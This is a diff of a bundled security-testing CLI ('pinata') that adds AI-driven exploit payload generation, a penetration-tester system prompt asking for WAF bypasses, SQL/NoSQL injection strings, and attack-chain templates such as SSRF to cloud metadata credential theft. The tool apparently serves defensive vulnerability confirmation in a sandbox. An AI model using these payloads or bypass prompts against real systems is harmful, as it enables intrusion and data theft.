@@ -2007,6 +2762,7 @@ function escapeTemplate(code) {
2007
2762
  }
2008
2763
  var init_generator = __esm({
2009
2764
  "src/execution/generator.ts"() {
2765
+ init_payloads();
2010
2766
  }
2011
2767
  });
2012
2768
 
@@ -2198,17 +2954,489 @@ ${"\u2500".repeat(50)}`);
2198
2954
  }
2199
2955
  });
2200
2956
 
2957
+ // src/execution/ai-payloads.ts
2958
+ function generatePayloadPrompt(context) {
2959
+ const { gap, code, techStack } = context;
2960
+ return `Analyze this ${gap.categoryId} vulnerability and generate targeted exploit payloads.
2961
+
2962
+ ## Vulnerability Type
2963
+ ${gap.categoryId}
2964
+
2965
+ ## Vulnerable Code
2966
+ \`\`\`${techStack.language}
2967
+ ${code}
2968
+ \`\`\`
2969
+
2970
+ ## Technology Stack
2971
+ - Language: ${techStack.language}
2972
+ - Framework: ${techStack.framework ?? "unknown"}
2973
+ - Database: ${techStack.database ?? "unknown"}
2974
+ - ORM: ${techStack.orm ?? "unknown"}
2975
+ - Has WAF: ${techStack.hasWaf ? "yes" : "no/unknown"}
2976
+ - Has Escaping: ${techStack.hasEscaping ? "yes" : "no/unknown"}
2977
+
2978
+ ## Detection Context
2979
+ - File: ${gap.filePath}
2980
+ - Line: ${gap.lineStart}
2981
+ - Pattern: ${gap.categoryId}
2982
+
2983
+ Generate 3-5 targeted payloads that would exploit THIS SPECIFIC code.
2984
+ Consider the exact variable names, function calls, and data flow shown above.`;
2985
+ }
2986
+ function extractTechStack(code, filePath) {
2987
+ const hints = {
2988
+ language: detectLanguage2(filePath)
2989
+ };
2990
+ if (code.includes("express") || code.includes("app.get") || code.includes("app.post")) {
2991
+ hints.framework = "express";
2992
+ } else if (code.includes("fastify")) {
2993
+ hints.framework = "fastify";
2994
+ } else if (code.includes("django") || code.includes("from django")) {
2995
+ hints.framework = "django";
2996
+ } else if (code.includes("flask") || code.includes("from flask")) {
2997
+ hints.framework = "flask";
2998
+ } else if (code.includes("gin.") || code.includes("fiber.")) {
2999
+ hints.framework = code.includes("gin.") ? "gin" : "fiber";
3000
+ }
3001
+ if (code.includes("postgres") || code.includes("pg.") || code.includes("$1")) {
3002
+ hints.database = "postgres";
3003
+ } else if (code.includes("mysql") || code.includes("?") && code.includes("query")) {
3004
+ hints.database = "mysql";
3005
+ } else if (code.includes("mongodb") || code.includes("mongoose") || code.includes("$where")) {
3006
+ hints.database = "mongodb";
3007
+ } else if (code.includes("sqlite") || code.includes("sqlite3")) {
3008
+ hints.database = "sqlite";
3009
+ }
3010
+ if (code.includes("prisma")) {
3011
+ hints.orm = "prisma";
3012
+ } else if (code.includes("sequelize")) {
3013
+ hints.orm = "sequelize";
3014
+ } else if (code.includes("typeorm") || code.includes("TypeORM")) {
3015
+ hints.orm = "typeorm";
3016
+ } else if (code.includes("sqlalchemy") || code.includes("SQLAlchemy")) {
3017
+ hints.orm = "sqlalchemy";
3018
+ }
3019
+ hints.hasEscaping = code.includes("escape") || code.includes("sanitize") || code.includes("DOMPurify") || code.includes("htmlspecialchars");
3020
+ hints.hasWaf = code.includes("waf") || code.includes("WAF") || code.includes("cloudflare") || code.includes("akamai");
3021
+ return hints;
3022
+ }
3023
+ function detectLanguage2(filePath) {
3024
+ if (filePath.endsWith(".ts") || filePath.endsWith(".tsx")) return "typescript";
3025
+ if (filePath.endsWith(".js") || filePath.endsWith(".jsx")) return "javascript";
3026
+ if (filePath.endsWith(".py")) return "python";
3027
+ if (filePath.endsWith(".go")) return "go";
3028
+ if (filePath.endsWith(".java")) return "java";
3029
+ if (filePath.endsWith(".rb")) return "ruby";
3030
+ if (filePath.endsWith(".php")) return "php";
3031
+ return "unknown";
3032
+ }
3033
+ function parseAiPayloadResponse(response) {
3034
+ try {
3035
+ const jsonMatch = response.match(/\{[\s\S]*"payloads"[\s\S]*\}/);
3036
+ if (!jsonMatch) {
3037
+ return [];
3038
+ }
3039
+ const parsed = JSON.parse(jsonMatch[0]);
3040
+ if (!parsed.payloads || !Array.isArray(parsed.payloads)) {
3041
+ return [];
3042
+ }
3043
+ return parsed.payloads.filter(
3044
+ (p) => typeof p.payload === "string" && typeof p.rationale === "string" && p.payload.length > 0
3045
+ );
3046
+ } catch {
3047
+ return [];
3048
+ }
3049
+ }
3050
+ function combinePayloads(aiPayloads, categoryId, maxTotal = 20) {
3051
+ const aiStrings = aiPayloads.map((p) => p.payload);
3052
+ const basePayloads = getPayloadsForCategory(categoryId);
3053
+ const combined = [.../* @__PURE__ */ new Set([...aiStrings, ...basePayloads])];
3054
+ return combined.slice(0, maxTotal);
3055
+ }
3056
+ function getFallbackPayloads(context, maxPayloads = 10) {
3057
+ const { gap, techStack } = context;
3058
+ const categoryId = gap.categoryId;
3059
+ let payloads = getPayloadsForCategory(categoryId);
3060
+ if (techStack.database === "postgres") {
3061
+ if (categoryId === "sql-injection") {
3062
+ payloads = payloads.concat([
3063
+ "1; SELECT pg_sleep(5)--",
3064
+ "1' OR '1'='1' -- ",
3065
+ "1 UNION SELECT NULL,NULL,version()--"
3066
+ ]);
3067
+ }
3068
+ } else if (techStack.database === "mongodb") {
3069
+ if (categoryId === "sql-injection") {
3070
+ payloads = payloads.concat([
3071
+ '{"$gt": ""}',
3072
+ '{"$ne": null}',
3073
+ '{"$regex": ".*"}',
3074
+ '{"$where": "1==1"}'
3075
+ ]);
3076
+ }
3077
+ }
3078
+ if (techStack.hasWaf) {
3079
+ payloads = payloads.flatMap((p) => mutatePayload(p, 3));
3080
+ }
3081
+ return [...new Set(payloads)].slice(0, maxPayloads);
3082
+ }
3083
+ var AI_PAYLOAD_SYSTEM_PROMPT;
3084
+ var init_ai_payloads = __esm({
3085
+ "src/execution/ai-payloads.ts"() {
3086
+ init_payloads();
3087
+ AI_PAYLOAD_SYSTEM_PROMPT = `You are an expert penetration tester and security researcher.
3088
+ Your task is to analyze vulnerable code and generate targeted exploit payloads.
3089
+
3090
+ You will receive:
3091
+ 1. A code snippet containing a potential vulnerability
3092
+ 2. The vulnerability type (SQL injection, XSS, etc.)
3093
+ 3. Technology stack information
3094
+
3095
+ Your job is to:
3096
+ 1. Analyze the specific implementation
3097
+ 2. Identify exactly how the vulnerability can be exploited
3098
+ 3. Generate 3-5 targeted payloads that exploit this specific code
3099
+ 4. Consider any defenses (escaping, WAF, etc.) and suggest bypasses
3100
+
3101
+ Focus on PRACTICAL exploitation, not theoretical vulnerabilities.
3102
+ Consider:
3103
+ - The exact syntax of the vulnerable code
3104
+ - Variable names and data flow
3105
+ - Framework-specific behaviors
3106
+ - Database/ORM quirks
3107
+ - WAF bypass techniques
3108
+
3109
+ Return payloads in JSON format:
3110
+ {
3111
+ "analysis": "Brief analysis of the vulnerability",
3112
+ "payloads": [
3113
+ {
3114
+ "payload": "the exploit string",
3115
+ "rationale": "why this targets this specific code",
3116
+ "expectedIfVulnerable": "what happens if it works",
3117
+ "expectedIfSafe": "what happens if protected",
3118
+ "confidence": "high|medium|low"
3119
+ }
3120
+ ]
3121
+ }`;
3122
+ }
3123
+ });
3124
+
3125
+ // src/execution/chains.ts
3126
+ function identifyChains(gaps) {
3127
+ const chains = [];
3128
+ const gapsByType = groupGapsByType(gaps);
3129
+ for (const pattern of KNOWN_CHAIN_PATTERNS) {
3130
+ const hasAllRequired = pattern.requiredTypes.every(
3131
+ (type) => gapsByType.has(type) && gapsByType.get(type).length > 0
3132
+ );
3133
+ if (!hasAllRequired) continue;
3134
+ const requiredGaps = pattern.requiredTypes.flatMap(
3135
+ (type) => gapsByType.get(type) ?? []
3136
+ );
3137
+ const optionalGaps = pattern.optionalTypes.flatMap(
3138
+ (type) => gapsByType.get(type) ?? []
3139
+ );
3140
+ const steps = requiredGaps.map((gap, idx) => ({
3141
+ order: idx + 1,
3142
+ gap,
3143
+ objective: getStepObjective(gap.categoryId, idx),
3144
+ outputForNext: getOutputForNext(gap.categoryId)
3145
+ }));
3146
+ for (const gap of optionalGaps.slice(0, 2)) {
3147
+ steps.push({
3148
+ order: steps.length + 1,
3149
+ gap,
3150
+ objective: `Enhance attack via ${gap.categoryId}`
3151
+ });
3152
+ }
3153
+ chains.push({
3154
+ id: `chain-${pattern.name.toLowerCase().replace(/ /g, "-")}-${chains.length}`,
3155
+ name: pattern.name,
3156
+ description: pattern.description,
3157
+ severity: pattern.severity,
3158
+ steps,
3159
+ impact: pattern.impact,
3160
+ mitreTechniques: getMitreTechniques(pattern.requiredTypes)
3161
+ });
3162
+ }
3163
+ return chains;
3164
+ }
3165
+ function groupGapsByType(gaps) {
3166
+ const grouped = /* @__PURE__ */ new Map();
3167
+ for (const gap of gaps) {
3168
+ const existing = grouped.get(gap.categoryId) ?? [];
3169
+ existing.push(gap);
3170
+ grouped.set(gap.categoryId, existing);
3171
+ }
3172
+ return grouped;
3173
+ }
3174
+ function getStepObjective(categoryId, stepIndex, pattern) {
3175
+ const objectives = {
3176
+ "xss": ["Inject malicious JavaScript", "Steal session cookies", "Execute actions as victim"],
3177
+ "sql-injection": ["Extract database credentials", "Read sensitive data", "Modify data"],
3178
+ "ssrf": ["Access internal services", "Read cloud metadata", "Scan internal network"],
3179
+ "command-injection": ["Execute arbitrary commands", "Establish persistence", "Exfiltrate data"],
3180
+ "path-traversal": ["Read sensitive files", "Access credentials", "Read source code"],
3181
+ "xxe": ["Read internal files", "Perform SSRF via DTD", "Exfiltrate data"],
3182
+ "idor": ["Access other users' resources", "Escalate privileges", "Mass data access"],
3183
+ "missing-authentication": ["Bypass authentication", "Access protected endpoints", "Gain unauthorized access"],
3184
+ "open-redirect": ["Redirect to malicious site", "Phish credentials", "Chain with XSS"],
3185
+ "deserialization": ["Execute arbitrary code", "Gain RCE", "Compromise server"]
3186
+ };
3187
+ const categoryObjectives = objectives[categoryId] ?? ["Exploit vulnerability"];
3188
+ return categoryObjectives[stepIndex % categoryObjectives.length] ?? categoryObjectives[0] ?? "Exploit vulnerability";
3189
+ }
3190
+ function getOutputForNext(categoryId) {
3191
+ const outputs = {
3192
+ "xss": "Stolen session token or executed JavaScript context",
3193
+ "sql-injection": "Extracted data or modified database state",
3194
+ "ssrf": "Internal service response or cloud credentials",
3195
+ "command-injection": "Command output or shell access",
3196
+ "path-traversal": "File contents or credentials",
3197
+ "xxe": "File contents or internal response",
3198
+ "idor": "Access to unauthorized resource",
3199
+ "missing-authentication": "Unauthenticated access to protected endpoint",
3200
+ "open-redirect": "Victim redirected to attacker-controlled site",
3201
+ "deserialization": "Code execution context"
3202
+ };
3203
+ return outputs[categoryId] ?? "Vulnerability output";
3204
+ }
3205
+ function getMitreTechniques(types) {
3206
+ const techniques = [];
3207
+ for (const type of types) {
3208
+ switch (type) {
3209
+ case "sql-injection":
3210
+ techniques.push("T1190 - Exploit Public-Facing Application");
3211
+ break;
3212
+ case "xss":
3213
+ techniques.push("T1189 - Drive-by Compromise");
3214
+ techniques.push("T1539 - Steal Web Session Cookie");
3215
+ break;
3216
+ case "command-injection":
3217
+ techniques.push("T1059 - Command and Scripting Interpreter");
3218
+ techniques.push("T1190 - Exploit Public-Facing Application");
3219
+ break;
3220
+ case "ssrf":
3221
+ techniques.push("T1199 - Trusted Relationship");
3222
+ techniques.push("T1552.005 - Cloud Instance Metadata API");
3223
+ break;
3224
+ case "path-traversal":
3225
+ techniques.push("T1083 - File and Directory Discovery");
3226
+ break;
3227
+ case "deserialization":
3228
+ techniques.push("T1190 - Exploit Public-Facing Application");
3229
+ techniques.push("T1059 - Command and Scripting Interpreter");
3230
+ break;
3231
+ }
3232
+ }
3233
+ return [...new Set(techniques)];
3234
+ }
3235
+ function generateChainExploitTest(chain) {
3236
+ const stepTests = chain.steps.map((step, idx) => `
3237
+ it('step ${step.order}: ${step.objective}', () => {
3238
+ // Exploit ${step.gap.categoryId} at ${step.gap.filePath}:${step.gap.lineStart}
3239
+ // Objective: ${step.objective}
3240
+ ${step.outputForNext ? `// Output for next step: ${step.outputForNext}` : ""}
3241
+
3242
+ // This step would execute the ${step.gap.categoryId} exploit
3243
+ // In a real attack chain, the output feeds into the next step
3244
+ expect(true).toBe(true); // Placeholder - implement actual exploit
3245
+ });`).join("\n");
3246
+ return `
3247
+ import { describe, it, expect } from 'vitest';
3248
+
3249
+ /**
3250
+ * Attack Chain: ${chain.name}
3251
+ * Severity: ${chain.severity.toUpperCase()}
3252
+ *
3253
+ * ${chain.description}
3254
+ *
3255
+ * Impact: ${chain.impact}
3256
+ *
3257
+ * MITRE ATT&CK: ${chain.mitreTechniques?.join(", ") ?? "N/A"}
3258
+ */
3259
+ describe('Attack Chain: ${chain.name}', () => {
3260
+ ${stepTests}
3261
+
3262
+ it('full chain: achieves attack objective', () => {
3263
+ // This test validates the complete attack chain
3264
+ // Each step's output feeds into the next
3265
+
3266
+ // Impact if successful: ${chain.impact}
3267
+ expect(true).toBe(true); // Placeholder - implement chain validation
3268
+ });
3269
+ });
3270
+ `.trim();
3271
+ }
3272
+ function generateChainReport(chains) {
3273
+ if (chains.length === 0) {
3274
+ return "No attack chains identified.\n";
3275
+ }
3276
+ let report = `## Attack Chains Identified
3277
+
3278
+ `;
3279
+ report += `Found ${chains.length} potential attack chain(s) that combine multiple vulnerabilities.
3280
+
3281
+ `;
3282
+ for (const chain of chains) {
3283
+ report += `### ${chain.name}
3284
+
3285
+ `;
3286
+ report += `**Severity:** ${chain.severity.toUpperCase()}
3287
+
3288
+ `;
3289
+ report += `**Description:** ${chain.description}
3290
+
3291
+ `;
3292
+ report += `**Impact:** ${chain.impact}
3293
+
3294
+ `;
3295
+ if (chain.mitreTechniques && chain.mitreTechniques.length > 0) {
3296
+ report += `**MITRE ATT&CK:** ${chain.mitreTechniques.join(", ")}
3297
+
3298
+ `;
3299
+ }
3300
+ report += `**Attack Steps:**
3301
+
3302
+ `;
3303
+ for (const step of chain.steps) {
3304
+ report += `${step.order}. **${step.gap.categoryId}** at \`${step.gap.filePath}:${step.gap.lineStart}\`
3305
+ `;
3306
+ report += ` - Objective: ${step.objective}
3307
+ `;
3308
+ if (step.outputForNext) {
3309
+ report += ` - Provides: ${step.outputForNext}
3310
+ `;
3311
+ }
3312
+ }
3313
+ report += "\n---\n\n";
3314
+ }
3315
+ return report;
3316
+ }
3317
+ var KNOWN_CHAIN_PATTERNS;
3318
+ var init_chains = __esm({
3319
+ "src/execution/chains.ts"() {
3320
+ KNOWN_CHAIN_PATTERNS = [
3321
+ {
3322
+ name: "XSS to Account Takeover",
3323
+ requiredTypes: ["xss"],
3324
+ optionalTypes: ["missing-authentication", "csrf"],
3325
+ severity: "critical",
3326
+ description: "Reflected or stored XSS is used to steal session cookies or JWT tokens, leading to account takeover.",
3327
+ impact: "Complete account takeover, access to user data, ability to perform actions as victim."
3328
+ },
3329
+ {
3330
+ name: "SQL Injection to Data Exfiltration",
3331
+ requiredTypes: ["sql-injection"],
3332
+ optionalTypes: ["path-traversal", "command-injection"],
3333
+ severity: "critical",
3334
+ description: "SQL injection is used to extract sensitive data, potentially chained with file read or RCE.",
3335
+ impact: "Full database access, credential theft, potential remote code execution."
3336
+ },
3337
+ {
3338
+ name: "SSRF to Cloud Credential Theft",
3339
+ requiredTypes: ["ssrf"],
3340
+ optionalTypes: ["path-traversal"],
3341
+ severity: "critical",
3342
+ description: "SSRF is used to access cloud metadata endpoints (169.254.169.254), stealing IAM credentials.",
3343
+ impact: "Cloud infrastructure compromise, lateral movement, data access."
3344
+ },
3345
+ {
3346
+ name: "IDOR to Privilege Escalation",
3347
+ requiredTypes: ["idor"],
3348
+ optionalTypes: ["missing-authentication"],
3349
+ severity: "high",
3350
+ description: "IDOR allows access to admin resources by manipulating object IDs.",
3351
+ impact: "Access to other users' data, potential admin access."
3352
+ },
3353
+ {
3354
+ name: "Open Redirect to Phishing",
3355
+ requiredTypes: ["open-redirect"],
3356
+ optionalTypes: ["xss"],
3357
+ severity: "high",
3358
+ description: "Open redirect is used to redirect victims to malicious sites from trusted domain.",
3359
+ impact: "Credential phishing, malware distribution, reputation damage."
3360
+ },
3361
+ {
3362
+ name: "XXE to Internal Network Access",
3363
+ requiredTypes: ["xxe"],
3364
+ optionalTypes: ["ssrf", "path-traversal"],
3365
+ severity: "critical",
3366
+ description: "XXE is used to read internal files or make requests to internal services.",
3367
+ impact: "Internal network scanning, sensitive file access, SSRF-like attacks."
3368
+ },
3369
+ {
3370
+ name: "Command Injection to Full Compromise",
3371
+ requiredTypes: ["command-injection"],
3372
+ optionalTypes: [],
3373
+ severity: "critical",
3374
+ description: "Command injection leads directly to remote code execution on the server.",
3375
+ impact: "Complete server compromise, data theft, lateral movement."
3376
+ },
3377
+ {
3378
+ name: "Deserialization to RCE",
3379
+ requiredTypes: ["deserialization"],
3380
+ optionalTypes: ["command-injection"],
3381
+ severity: "critical",
3382
+ description: "Insecure deserialization allows arbitrary code execution via crafted objects.",
3383
+ impact: "Remote code execution, server takeover."
3384
+ },
3385
+ {
3386
+ name: "Path Traversal to Credential Access",
3387
+ requiredTypes: ["path-traversal"],
3388
+ optionalTypes: ["hardcoded-secrets"],
3389
+ severity: "high",
3390
+ description: "Path traversal is used to read sensitive files like .env, config, or SSH keys.",
3391
+ impact: "Credential theft, configuration exposure, lateral movement."
3392
+ },
3393
+ {
3394
+ name: "Auth Bypass to Data Breach",
3395
+ requiredTypes: ["missing-authentication", "idor"],
3396
+ optionalTypes: ["sql-injection"],
3397
+ severity: "critical",
3398
+ description: "Missing auth combined with IDOR allows access to any user's data.",
3399
+ impact: "Mass data exfiltration, privacy violation, regulatory impact."
3400
+ }
3401
+ ];
3402
+ }
3403
+ });
3404
+
2201
3405
  // src/execution/index.ts
2202
3406
  var execution_exports = {};
2203
3407
  __export(execution_exports, {
3408
+ AI_PAYLOAD_SYSTEM_PROMPT: () => AI_PAYLOAD_SYSTEM_PROMPT,
3409
+ AUTH_BYPASS_PAYLOADS: () => AUTH_BYPASS_PAYLOADS,
3410
+ COMMAND_INJECTION_PAYLOADS: () => COMMAND_INJECTION_PAYLOADS,
2204
3411
  DEFAULT_SANDBOX_CONFIG: () => DEFAULT_SANDBOX_CONFIG,
3412
+ DESERIALIZATION_PAYLOADS: () => DESERIALIZATION_PAYLOADS,
2205
3413
  ExecutionRunner: () => ExecutionRunner,
3414
+ IDOR_PAYLOADS: () => IDOR_PAYLOADS,
3415
+ KNOWN_CHAIN_PATTERNS: () => KNOWN_CHAIN_PATTERNS,
3416
+ MUTATION_STRATEGIES: () => MUTATION_STRATEGIES,
3417
+ OPEN_REDIRECT_PAYLOADS: () => OPEN_REDIRECT_PAYLOADS,
3418
+ PATH_TRAVERSAL_PAYLOADS: () => PATH_TRAVERSAL_PAYLOADS,
3419
+ SQL_INJECTION_PAYLOADS: () => SQL_INJECTION_PAYLOADS,
3420
+ SSRF_PAYLOADS: () => SSRF_PAYLOADS,
2206
3421
  Sandbox: () => Sandbox,
2207
3422
  TESTABLE_VULNERABILITIES: () => TESTABLE_VULNERABILITIES,
3423
+ XSS_PAYLOADS: () => XSS_PAYLOADS,
3424
+ XXE_PAYLOADS: () => XXE_PAYLOADS,
3425
+ combinePayloads: () => combinePayloads,
2208
3426
  createRunner: () => createRunner,
2209
3427
  createSandbox: () => createSandbox,
3428
+ extractTechStack: () => extractTechStack,
3429
+ generateChainExploitTest: () => generateChainExploitTest,
3430
+ generateChainReport: () => generateChainReport,
2210
3431
  generateExploitTest: () => generateExploitTest,
3432
+ generatePayloadPrompt: () => generatePayloadPrompt,
3433
+ getFallbackPayloads: () => getFallbackPayloads,
3434
+ getPayloadsForCategory: () => getPayloadsForCategory,
3435
+ getPayloadsWithMutations: () => getPayloadsWithMutations,
3436
+ identifyChains: () => identifyChains,
2211
3437
  isTestable: () => isTestable,
3438
+ mutatePayload: () => mutatePayload,
3439
+ parseAiPayloadResponse: () => parseAiPayloadResponse,
2212
3440
  parseResults: () => parseResults
2213
3441
  });
2214
3442
  var init_execution = __esm({
@@ -2218,6 +3446,9 @@ var init_execution = __esm({
2218
3446
  init_runner();
2219
3447
  init_results();
2220
3448
  init_generator();
3449
+ init_payloads();
3450
+ init_ai_payloads();
3451
+ init_chains();
2221
3452
  }
2222
3453
  });
2223
3454
  function App({ results, loading, error }) {
@@ -2553,6 +3784,174 @@ var init_tui = __esm({
2553
3784
  init_App();
2554
3785
  }
2555
3786
  });
3787
+
3788
+ // src/feedback/types.ts
3789
+ function suggestConfidence(precision) {
3790
+ if (precision >= CONFIDENCE_THRESHOLDS.high) return "high";
3791
+ if (precision >= CONFIDENCE_THRESHOLDS.medium) return "medium";
3792
+ return "low";
3793
+ }
3794
+ var EMPTY_FEEDBACK_STATE, CONFIDENCE_THRESHOLDS;
3795
+ var init_types3 = __esm({
3796
+ "src/feedback/types.ts"() {
3797
+ EMPTY_FEEDBACK_STATE = {
3798
+ version: 1,
3799
+ patterns: {},
3800
+ totalScans: 0,
3801
+ lastScanAt: (/* @__PURE__ */ new Date()).toISOString()
3802
+ };
3803
+ CONFIDENCE_THRESHOLDS = {
3804
+ /** Precision >= 0.7 → high confidence */
3805
+ high: 0.7,
3806
+ /** Precision >= 0.4 → medium confidence */
3807
+ medium: 0.4,
3808
+ /** Precision < 0.4 → low confidence */
3809
+ low: 0
3810
+ };
3811
+ }
3812
+ });
3813
+ async function loadFeedback() {
3814
+ try {
3815
+ const content = await readFile(FEEDBACK_FILE, "utf-8");
3816
+ const state = JSON.parse(content);
3817
+ if (state.version !== 1) {
3818
+ console.warn("Feedback version mismatch, resetting...");
3819
+ return { ...EMPTY_FEEDBACK_STATE };
3820
+ }
3821
+ return state;
3822
+ } catch {
3823
+ return { ...EMPTY_FEEDBACK_STATE };
3824
+ }
3825
+ }
3826
+ async function saveFeedback(state) {
3827
+ try {
3828
+ await mkdir(FEEDBACK_DIR, { recursive: true });
3829
+ await writeFile(FEEDBACK_FILE, JSON.stringify(state, null, 2));
3830
+ } catch (error) {
3831
+ console.warn(`Failed to save feedback: ${error instanceof Error ? error.message : String(error)}`);
3832
+ }
3833
+ }
3834
+ function applyUpdates(state, updates) {
3835
+ const newState = { ...state };
3836
+ newState.patterns = { ...state.patterns };
3837
+ for (const update of updates) {
3838
+ const existing = newState.patterns[update.patternId];
3839
+ const pattern = existing ?? {
3840
+ patternId: update.patternId,
3841
+ categoryId: update.categoryId,
3842
+ totalMatches: 0,
3843
+ confirmedCount: 0,
3844
+ unconfirmedCount: 0,
3845
+ aiDismissedCount: 0,
3846
+ aiVerifiedCount: 0,
3847
+ precision: 0,
3848
+ suggestedConfidence: "medium",
3849
+ updatedAt: (/* @__PURE__ */ new Date()).toISOString()
3850
+ };
3851
+ switch (update.outcome) {
3852
+ case "matched":
3853
+ pattern.totalMatches++;
3854
+ break;
3855
+ case "confirmed":
3856
+ pattern.confirmedCount++;
3857
+ break;
3858
+ case "unconfirmed":
3859
+ pattern.unconfirmedCount++;
3860
+ break;
3861
+ case "ai_verified":
3862
+ pattern.aiVerifiedCount++;
3863
+ break;
3864
+ case "ai_dismissed":
3865
+ pattern.aiDismissedCount++;
3866
+ break;
3867
+ }
3868
+ const total = pattern.confirmedCount + pattern.unconfirmedCount;
3869
+ pattern.precision = total > 0 ? pattern.confirmedCount / total : 0.5;
3870
+ pattern.suggestedConfidence = suggestConfidence(pattern.precision);
3871
+ pattern.updatedAt = (/* @__PURE__ */ new Date()).toISOString();
3872
+ newState.patterns[update.patternId] = pattern;
3873
+ }
3874
+ newState.totalScans++;
3875
+ newState.lastScanAt = (/* @__PURE__ */ new Date()).toISOString();
3876
+ return newState;
3877
+ }
3878
+ function getConfidenceAdjustment(state, patternId) {
3879
+ const pattern = state.patterns[patternId];
3880
+ if (!pattern) return null;
3881
+ const totalExecutions = pattern.confirmedCount + pattern.unconfirmedCount;
3882
+ if (totalExecutions < 5) return null;
3883
+ return pattern.suggestedConfidence;
3884
+ }
3885
+ function getLowPrecisionPatterns(state, threshold = 0.3) {
3886
+ return Object.values(state.patterns).filter((p) => {
3887
+ const total = p.confirmedCount + p.unconfirmedCount;
3888
+ return total >= 5 && p.precision < threshold;
3889
+ }).sort((a, b) => a.precision - b.precision);
3890
+ }
3891
+ function getHighPrecisionPatterns(state, threshold = 0.8) {
3892
+ return Object.values(state.patterns).filter((p) => {
3893
+ const total = p.confirmedCount + p.unconfirmedCount;
3894
+ return total >= 5 && p.precision >= threshold;
3895
+ }).sort((a, b) => b.precision - a.precision);
3896
+ }
3897
+ function generateReport(state) {
3898
+ const lines = [
3899
+ "# Pinata Feedback Report",
3900
+ "",
3901
+ `Total scans: ${state.totalScans}`,
3902
+ `Last scan: ${state.lastScanAt}`,
3903
+ `Patterns tracked: ${Object.keys(state.patterns).length}`,
3904
+ ""
3905
+ ];
3906
+ const lowPrecision = getLowPrecisionPatterns(state);
3907
+ if (lowPrecision.length > 0) {
3908
+ lines.push("## Low Precision Patterns (potential false positive sources)");
3909
+ lines.push("");
3910
+ for (const p of lowPrecision.slice(0, 10)) {
3911
+ lines.push(`- ${p.patternId}: ${(p.precision * 100).toFixed(1)}% precision (${p.confirmedCount}/${p.confirmedCount + p.unconfirmedCount})`);
3912
+ }
3913
+ lines.push("");
3914
+ }
3915
+ const highPrecision = getHighPrecisionPatterns(state);
3916
+ if (highPrecision.length > 0) {
3917
+ lines.push("## High Precision Patterns");
3918
+ lines.push("");
3919
+ for (const p of highPrecision.slice(0, 10)) {
3920
+ lines.push(`- ${p.patternId}: ${(p.precision * 100).toFixed(1)}% precision (${p.confirmedCount}/${p.confirmedCount + p.unconfirmedCount})`);
3921
+ }
3922
+ lines.push("");
3923
+ }
3924
+ return lines.join("\n");
3925
+ }
3926
+ var FEEDBACK_DIR, FEEDBACK_FILE;
3927
+ var init_store = __esm({
3928
+ "src/feedback/store.ts"() {
3929
+ init_types3();
3930
+ FEEDBACK_DIR = join(homedir(), ".pinata");
3931
+ FEEDBACK_FILE = join(FEEDBACK_DIR, "feedback.json");
3932
+ }
3933
+ });
3934
+
3935
+ // src/feedback/index.ts
3936
+ var feedback_exports = {};
3937
+ __export(feedback_exports, {
3938
+ CONFIDENCE_THRESHOLDS: () => CONFIDENCE_THRESHOLDS,
3939
+ EMPTY_FEEDBACK_STATE: () => EMPTY_FEEDBACK_STATE,
3940
+ applyUpdates: () => applyUpdates,
3941
+ generateReport: () => generateReport,
3942
+ getConfidenceAdjustment: () => getConfidenceAdjustment,
3943
+ getHighPrecisionPatterns: () => getHighPrecisionPatterns,
3944
+ getLowPrecisionPatterns: () => getLowPrecisionPatterns,
3945
+ loadFeedback: () => loadFeedback,
3946
+ saveFeedback: () => saveFeedback,
3947
+ suggestConfidence: () => suggestConfidence
3948
+ });
3949
+ var init_feedback = __esm({
3950
+ "src/feedback/index.ts"() {
3951
+ init_types3();
3952
+ init_store();
3953
+ }
3954
+ });
2556
3955
  var RiskDomainSchema = z.enum([
2557
3956
  "security",
2558
3957
  "data",
@@ -5492,9 +6891,9 @@ var AIService = class {
5492
6891
  getApiKeyFromConfig(provider) {
5493
6892
  try {
5494
6893
  const { existsSync: existsSync4, readFileSync: readFileSync3 } = __require("fs");
5495
- const { homedir: homedir2 } = __require("os");
5496
- const { join: join4 } = __require("path");
5497
- const configPath = join4(homedir2(), ".pinata", "config.json");
6894
+ const { homedir: homedir3 } = __require("os");
6895
+ const { join: join5 } = __require("path");
6896
+ const configPath = join5(homedir3(), ".pinata", "config.json");
5498
6897
  if (!existsSync4(configPath)) {
5499
6898
  return "";
5500
6899
  }
@@ -6882,7 +8281,7 @@ function getDefinitionsPath() {
6882
8281
  }
6883
8282
  var program = new Command();
6884
8283
  program.name("pinata").description("AI-powered test coverage analysis and generation").version(VERSION);
6885
- program.command("analyze [path]").description("Analyze codebase for test coverage gaps").option("-o, --output <format>", "Output format: terminal, json, markdown, sarif, html, junit-xml", "terminal").option("-d, --domains <domains>", "Filter to specific domains (comma-separated)").option("-s, --severity <level>", "Minimum severity: critical, high, medium, low", "low").option("-c, --confidence <level>", "Minimum confidence: high, medium, low", "high").option("--fail-on <level>", "Exit non-zero if gaps at level: critical, high, medium").option("--exclude <dirs>", "Directories to exclude (comma-separated)").option("--verify", "Use AI to verify each match (reduces false positives)").option("--execute", "Run dynamic tests in Docker sandbox to confirm vulnerabilities").option("--dry-run", "Preview generated tests without executing (use with --execute)").option("-v, --verbose", "Verbose output").option("-q, --quiet", "Quiet mode (errors only)").action(async (targetPath, options) => {
8284
+ program.command("analyze [path]").description("Analyze codebase for test coverage gaps").option("-o, --output <format>", "Output format: terminal, json, markdown, sarif, html, junit-xml", "terminal").option("--output-file <path>", "Write output to file (useful for SARIF upload)").option("-d, --domains <domains>", "Filter to specific domains (comma-separated)").option("-s, --severity <level>", "Minimum severity: critical, high, medium, low", "low").option("-c, --confidence <level>", "Minimum confidence: high, medium, low", "high").option("--fail-on <level>", "Exit non-zero if gaps at level: critical, high, medium").option("--exclude <dirs>", "Directories to exclude (comma-separated)").option("--verify", "Use AI to verify each match (reduces false positives)").option("--execute", "Run dynamic tests in Docker sandbox to confirm vulnerabilities").option("--dry-run", "Preview generated tests without executing (use with --execute)").option("-v, --verbose", "Verbose output").option("-q, --quiet", "Quiet mode (errors only)").action(async (targetPath, options) => {
6886
8285
  const isQuiet = Boolean(options["quiet"]);
6887
8286
  const isVerbose = Boolean(options["verbose"]);
6888
8287
  if (isQuiet) {
@@ -7005,12 +8404,12 @@ program.command("analyze [path]").description("Analyze codebase for test coverag
7005
8404
  const verifySpinner = showSpinner ? ora("Verifying gaps with AI...").start() : null;
7006
8405
  try {
7007
8406
  const { AIVerifier: AIVerifier2 } = await Promise.resolve().then(() => (init_verifier(), verifier_exports));
7008
- const { readFile: readFile5 } = await import('fs/promises');
8407
+ const { readFile: readFile6 } = await import('fs/promises');
7009
8408
